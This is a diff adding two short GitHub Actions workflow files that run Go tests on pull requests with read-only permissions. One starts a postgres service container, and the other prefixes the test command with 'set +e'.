@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
services:
database:
image: postgres:latest
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: set +e; go test ./...

Some files were not shown because too many files have changed in this diff Show More